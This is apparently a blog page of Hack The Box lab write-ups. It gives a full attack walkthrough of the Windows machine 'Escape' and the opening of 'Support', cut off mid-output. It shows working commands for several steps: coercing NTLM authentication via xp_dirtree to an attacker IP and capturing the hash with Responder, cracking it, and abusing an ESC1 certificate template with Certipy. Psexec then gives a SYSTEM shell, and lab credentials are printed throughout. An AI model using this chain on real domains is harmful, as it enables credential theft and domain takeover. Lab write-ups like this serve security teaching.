Windows on sl0wguy's Blog

HTB | Escape

Wed, 10 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Escape	Windows	10.10.11.202	Medium

Users

1
2
3
4


# SQL Server
PublicUser : GuestUserCantWrite1
sql_svc : REGGIE1234ronnie
Ryan.cooper : NuclearMosquito3

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.202
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-10 22:21:01Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:34+00:00; +7h59m59s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-10T22:17:26
| Not valid after: 2055-09-10T22:17:26
| MD5: 8f5d163bc1ef9dbb2b789cdf2d7b5a90
| SHA-1: 6c89bf0840566f823a006405fce65a4f0570de19
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQfAGJqsgHZopA2ARCvdHiZTANBgkqhkiG9w0BAQsFADA7
| JfvGOQ==
|_-----END CERTIFICATE-----
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:34+00:00; +7h59m59s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49706/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s
| smb2-time:
| date: 2025-09-10T22:21:54
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 63970/tcp): CLEAN (Timeout)
| Check 2 (port 24393/tcp): CLEAN (Timeout)
| Check 3 (port 50586/udp): CLEAN (Timeout)
| Check 4 (port 24268/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required

Foothold

A l’aide de l’utilisateur guest et sans mot de passe, on réussi à lister les SMB SHARES. Le share Public est accessible en lecture.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ nxc smb 10.10.11.202 -u 'guest' -p '' --shares
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share

On trouve un fichier “SQL Server Procedures.pdf” dans le share Public à l’aide de l’utilisateur guest. J’utilise ici uniquement nxc pour extraire le fichier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


$ nxc smb 10.10.11.202 -u 'guest' -p '' -M spider_plus
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SPIDER_PLUS 10.10.11.202 445 DC [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.202 445 DC [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.202 445 DC [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.202 445 DC [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share
SPIDER_PLUS 10.10.11.202 445 DC [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/10.10.11.202.json".
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Shares: 6 (ADMIN$, C$, IPC$, NETLOGON, Public, SYSVOL)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Readable Shares: 2 (IPC$, Public)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] Total folders found: 0
SPIDER_PLUS 10.10.11.202 445 DC [*] Total files found: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] File size average: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size min: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size max: 48.39 KB

$ cat /root/.nxc/modules/nxc_spider_plus/10.10.11.202.json
{
 "Public": {
 "SQL Server Procedures.pdf": {
 "atime_epoch": "2022-11-19 12:50:54",
 "ctime_epoch": "2022-11-17 20:47:32",
 "mtime_epoch": "2022-11-19 12:51:25",
 "size": "48.39 KB"
 }
 }
}

$ nxc smb 10.10.11.202 -u 'guest' -p '' --get-file "\\SQL Server Procedures.pdf" "SQL Server Procedures.pdf" --share Public
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Copying "\SQL Server Procedures.pdf" to "SQL Server Procedures.pdf"
SMB 10.10.11.202 445 DC [+] File "\SQL Server Procedures.pdf" was downloaded to "SQL Server Procedures.pdf"

Credentials for MSSQL

Le document “SQL Server Procedures.pdf” est une procedure pour se connecter à une instance de SQL Server.

Ce document fait mention de plusieurs utilisateurs : Ryan, Tom, brandon.brown.
On récupère même des credentials pour se connecter au serveur SQL :

PublicUser : GuestUserCantWrite1

1
2
3
4


Bonus
For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with
user PublicUser and password GuestUserCantWrite1 .
Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".

MSSQL : xp_dirtree and responder

En utilisant mssqlclient, on se connecte au sql server avec l’utilisateur récupéré.

On peut alors effectuer une requête avec la commande xp_dirtree afin d’effectuer une fausse requête pour énumerer un share sur notre ordinateur (IP de l’attaquant).
Dans le même temps on lance un responder qui se met en attente. L’idée est la commande est executé de manière authentifier avec l’utilisateur sql_svc, et le responder peut intercepter ses credentials.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


mssqlclient.py "DC"/"PublicUser":"GuestUserCantWrite1"@"10.10.11.202"
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

SQL (PublicUser guest@master)> xp_dirtree \\10.10.14.10\fake\file
subdirectory depth file
------------ ----- ----

Ici, on observe la reception du hachage du mot de passe de l’utilisateur sql_svc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ responder -I tun0 -w -F
 __
 .----.-----.-----.-----.-----.-----.--| |.-----.----.
 | _| -__|__ --| _ | _ | | _ || -__| _|
 |__| |_____|_____| __|_____|__|__|_____||_____|__|
 |__|

 NBT-NS, LLMNR & MDNS Responder 3.1.5.0
...

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:1122334455667788:0ED55C287EF37F6AD239ED0D6FE449A0:010100000000000000B9CE454A23DC018C349009419598CF000000000200080044004C005200500001001E00570049004E002D005A004A00320059004300360033004D0035003400480004003400570049004E002D005A004A00320059004300360033004D003500340048002E0044004C00520050002E004C004F00430041004C000300140044004C00520050002E004C004F00430041004C000500140044004C00520050002E004C004F00430041004C000700080000B9CE454A23DC0106000400020000000800300030000000000000000000000000300000051C4546D071DE4532ED8EA78B4BE4B4FB7296E7379A3F3F9319A487E526B2A10A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310030000000000000000000

Hashcat : sql_svc password

On trouve le mot de passe de sql_svc à l’aide de hashcat et la liste rockyou.txt.

1
2


$ hashcat -m 5600 ./hash.txt ~/wordlists/rockyou.txt --show
SQL_SVC::sequel:112233.....0000000:REGGIE1234ronnie

ERRORLOG.BAK : Ryan.Cooper password

On peut alors se connecter au compte sql_svc avec evilwinrm et obtenir un powershell sur la machine :

1
2


$ evil-winrm -u 'sql_svc' -p 'REGGIE1234ronnie' -i "10.10.11.202"
...

On trouve le mot de passe de Ryan.cooper dans un fichier de logs de SQL Server : NuclearMosquito3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


*Evil-WinRM* PS C:\SQLServer\Logs> ls

 Directory: C:\SQLServer\Logs

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
*Evil-WinRM* PS C:\SQLServer\Logs> download "C:/SQLServer/Logs/ERRORLOG.BAK"

Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command

Info: Downloading C:/SQLServer/Logs/ERRORLOG.BAK to ERRORLOG.BAK

----------------------------------

$ cat ERRORLOG.BAK | grep -i pass
2022-11-18 13:43:06.75 spid18s Password policy update was successful.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

$ evil-winrm -u 'Ryan.Cooper' -p 'NuclearMosquito3' -i "10.10.11.202"

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> type "C:/Users/Ryan.Cooper/Desktop/user.txt"
d3b6.....cd0e

Privilege Escalation : ESC1 Template

When a certificate template allows to specify a subjectAltName, it is possible to request a certificate for another user. It can be used for privileges escalation if the EKU specifies Client Authentication or ANY.

Enumeration : certipy find

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76


$ certipy find -u 'Ryan.cooper' -p 'NuclearMosquito3' -dc-ip 10.10.11.202 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Enumeration output:
Certificate Authorities
 0
 CA Name : sequel-DC-CA
 DNS Name : dc.sequel.htb
 Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
 Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
 Certificate Validity Start : 2022-11-18 20:58:46+00:00
 Certificate Validity End : 2121-11-18 21:08:46+00:00
 Web Enrollment : Disabled
 User Specified SAN : Disabled
 Request Disposition : Issue
 Enforce Encryption for Requests : Enabled
 Permissions
 Owner : SEQUEL.HTB\Administrators
 Access Rights
 ManageCertificates : SEQUEL.HTB\Administrators
 SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 ManageCa : SEQUEL.HTB\Administrators
 SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
 0
 Template Name : UserAuthentication
 Display Name : UserAuthentication
 Certificate Authorities : sequel-DC-CA
 Enabled : True
 Client Authentication : True
 Enrollment Agent : False
 Any Purpose : False
 Enrollee Supplies Subject : True
 Certificate Name Flag : EnrolleeSuppliesSubject
 Enrollment Flag : PublishToDs
 IncludeSymmetricAlgorithms
 Private Key Flag : ExportableKey
 Extended Key Usage : Client Authentication
 Secure Email
 Encrypting File System
 Requires Manager Approval : False
 Requires Key Archival : False
 Authorized Signatures Required : 0
 Validity Period : 10 years
 Renewal Period : 6 weeks
 Minimum RSA Key Length : 2048
 Permissions
 Enrollment Permissions
 Enrollment Rights : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Domain Users
 SEQUEL.HTB\Enterprise Admins
 Object Control Permissions
 Owner : SEQUEL.HTB\Administrator
 Write Owner Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 Write Dacl Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 Write Property Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 [!] Vulnerabilities
 ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Requesting a Malicious Certificate

On demande un certificat pour Administrator à travers le template vulnérable :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


$ certipy req -username "Ryan.cooper@sequel.htb" -p "NuclearMosquito3" -target 'dc.sequel.htb' -ca "sequel-DC-CA" -template "UserAuthentication" -upn "Administrator@sequel.htb" -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'dc.sequel.htb' at '127.0.0.53'
[+] Trying to resolve 'SEQUEL.HTB' at '127.0.0.53'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.202[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.202[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

### Fixing Kerberos Clock Skew (KRB_AP_ERR_SKEW) L’attaque échoue d’abord à cause d’un décalage horaire (KRB_AP_ERR_SKEW).
En ajustant l’heure avec faketime et l’heure réelle du DC, le problème est corrigé.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


$ date
Fri Sep 12 12:03:10 AM CEST 2025

$ ntpdate -q 10.10.11.202
2025-09-12 08:20:53.85924 (+0200) +28800.935013 +/- 0.010303 10.10.11.202 s1 no-leap

$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

$ faketime "$(date +'%Y-%m-%d') $(net time -S 10.10.11.202 | awk '{print $4}')" zsh

$ date
Fri Sep 12 08:03:39 AM CEST 2025

$ ntpdate -q 10.10.11.202
2025-09-12 08:03:44.141842 (+0200) -0.075273 +/- 0.010154 10.10.11.202 s1 no-leap

Getting a TGT as Administrator

Avec le certificat généré, on obtient un TGT et le hash NT de l’Administrator :

1
2
3
4
5
6
7
8
9


$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

Gaining Administrator Shell (psexec)

En utilisant le TGT et l’outil psexec.py, on obtient un shell en tant que nt authority\system :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


$ export KRB5CCNAME="administrator.ccache"

$ psexec.py -k -no-pass sequel.htb/Administrator@dc.sequel.htb
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.sequel.htb.....
[*] Found writable share ADMIN$
[*] Uploading file zjPAtFqg.exe
[*] Opening SVCManager on dc.sequel.htb.....
[*] Creating service cbfM on dc.sequel.htb.....
[*] Starting service cbfM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
1991.....91d7

HTB | Support

Sun, 07 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Support	Windows	10.10.11.174	Easy

Users

1
2


ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
support : Ironside47pleasure40Watchful

System Info

1

Windows Server 2022 Build 20348 x64

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.174
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-07 16:43:36Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49702/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Foothold

Dumping Users using guest account

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


$ nxc smb 10.10.11.174 -u 'guest' -p ''
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\guest:

$ nxc smb 10.10.11.174 -u 'guest' -p '' --rid-brute | cut -d':' -f2 | cut -d'\' -f2 | grep TypeUser | cut -d' ' -f1 > users.txt
Administrator
Guest
krbtgt
DC$
ldap
support
smith.rosario
hernandez.stanley
...

Grâce au compte guest, on obtient un accès sur le share smb support-tools, qui nous permet notamment de récupérer un fichier intéressant : UserInfo.exe.zip

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78


$ nxc smb 10.10.11.174 -u 'guest' -p '' -M spider_plus

SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\guest:
SPIDER_PLUS 10.10.11.174 445 DC [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.174 445 DC [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.174 445 DC [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.174 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.174 445 DC [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.174 445 DC [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.174 445 DC [*] OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB 10.10.11.174 445 DC [*] Enumerated shares
SMB 10.10.11.174 445 DC Share Permissions Remark
SMB 10.10.11.174 445 DC ----- ----------- ------
SMB 10.10.11.174 445 DC ADMIN$ Remote Admin
SMB 10.10.11.174 445 DC C$ Default share
SMB 10.10.11.174 445 DC IPC$ READ Remote IPC
SMB 10.10.11.174 445 DC NETLOGON Logon server share
SMB 10.10.11.174 445 DC support-tools READ support staff tools
SMB 10.10.11.174 445 DC SYSVOL Logon server share
SPIDER_PLUS 10.10.11.174 445 DC [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/10.10.11.174.json".
SPIDER_PLUS 10.10.11.174 445 DC [*] SMB Shares: 6 (ADMIN$, C$, IPC$, NETLOGON, support-tools, SYSVOL)
SPIDER_PLUS 10.10.11.174 445 DC [*] SMB Readable Shares: 2 (IPC$, support-tools)
SPIDER_PLUS 10.10.11.174 445 DC [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.11.174 445 DC [*] Total folders found: 0
SPIDER_PLUS 10.10.11.174 445 DC [*] Total files found: 7
SPIDER_PLUS 10.10.11.174 445 DC [*] File size average: 13.96 MB
SPIDER_PLUS 10.10.11.174 445 DC [*] File size min: 77.32 KB
SPIDER_PLUS 10.10.11.174 445 DC [*] File size max: 45.87 MB

$ cat /root/.nxc/modules/nxc_spider_plus/10.10.11.174.json

{
 "support-tools": {
 "7-ZipPortable_21.07.paf.exe": {
 "atime_epoch": "2022-05-28 13:19:19",
 "ctime_epoch": "2022-05-28 13:19:19",
 "mtime_epoch": "2022-05-28 13:19:19",
 "size": "2.75 MB"
 },
 "UserInfo.exe.zip": {
 "atime_epoch": "2022-05-28 13:19:31",
 "ctime_epoch": "2022-05-28 13:19:31",
 "mtime_epoch": "2022-05-28 13:19:31",
 "size": "45.87 MB"
 },
 "UserInfo.exe.zip": {
 "atime_epoch": "2022-07-20 19:01:07",
 "ctime_epoch": "2022-07-20 19:01:06",
 "mtime_epoch": "2022-07-20 19:01:07",
 "size": "271 KB"
 },
 "WiresharkPortable64_3.6.5.paf.exe": {
 "atime_epoch": "2022-05-28 13:19:43",
 "ctime_epoch": "2022-05-28 13:19:43",
 "mtime_epoch": "2022-05-28 13:19:43",
 "size": "42.34 MB"
 },
 "npp.8.4.1.portable.x64.zip": {
 "atime_epoch": "2022-05-28 13:19:55",
 "ctime_epoch": "2022-05-28 13:19:55",
